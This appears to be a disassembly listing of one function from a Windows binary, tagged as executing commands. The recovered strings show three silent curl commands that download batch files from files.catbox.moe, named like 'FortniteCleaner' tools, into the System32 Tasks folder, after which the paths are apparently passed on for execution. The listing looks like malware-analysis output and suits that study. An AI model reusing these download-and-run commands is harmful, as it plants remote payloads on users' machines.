Function at 0x1401cd190
Capabilities:
Execute command

Disassembly:
sub rsp, 0x58
lea rcx, str.curl___silent__o_C:WindowsSystem32Tasks_aspndl.bat__https:__files.catbox.moe_aspndl.bat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent__o_C:WindowsSystem32TasksFortniteCleaner.bat__https:__files.catbox.moe_2v89lz.bat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent__o_C:WindowsSystem32TasksCleaner.bat__https:__files.catbox.moe_0541si.bat_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov ecx, 0x30
call fcn.1401ce2e0
mov qword [rsp + 0x20], rax
movdqa xmm0, xmmword [0x1401d0ac0]
movdqu xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32Tasks_aspndl.bat]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1401d08d0]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x1401d08e0]
mov dword [rax + 0x20], ecx
mov byte [rax + 0x24], 0
lea rcx, [rsp + 0x20]
call fcn.1401ccfe0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1401cd256
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401cd251
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401cd251
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401ce55c
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov ecx, 0x30
call fcn.1401ce2e0
mov rcx, rax
mov qword [rsp + 0x20], rax
movdqa xmm0, xmmword [0x1401d0ae0]
movdqu xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32TasksFortniteCleaner.bat]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1401d08f8]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x1401d0908]
movsd qword [rax + 0x20], xmm0
mov eax, dword [0x1401d0910]
mov dword [rcx + 0x28], eax
movzx eax, byte [0x1401d0914]
mov byte [rcx + 0x2c], al
mov byte [rcx + 0x2d], 0
lea rcx, [rsp + 0x20]
call fcn.1401ccfe0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1401cd30b
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401cd306
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401cd306
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401ce55c
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov ecx, 0x30
call fcn.1401ce2e0
mov rdx, rax
mov qword [rsp + 0x20], rax
movdqa xmm0, xmmword [0x1401d0ad0]
movdqu xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [str.C:WindowsSystem32TasksCleaner.bat]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1401d0928]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x1401d0938]
mov dword [rax + 0x20], ecx
movzx eax, byte [0x1401d093c]
mov byte [rdx + 0x24], al
mov byte [rdx + 0x25], 0
lea rcx, [rsp + 0x20]
call fcn.1401ccfe0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1401cd3b3
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401cd3ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401cd3ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401ce55c
add rsp, 0x58
ret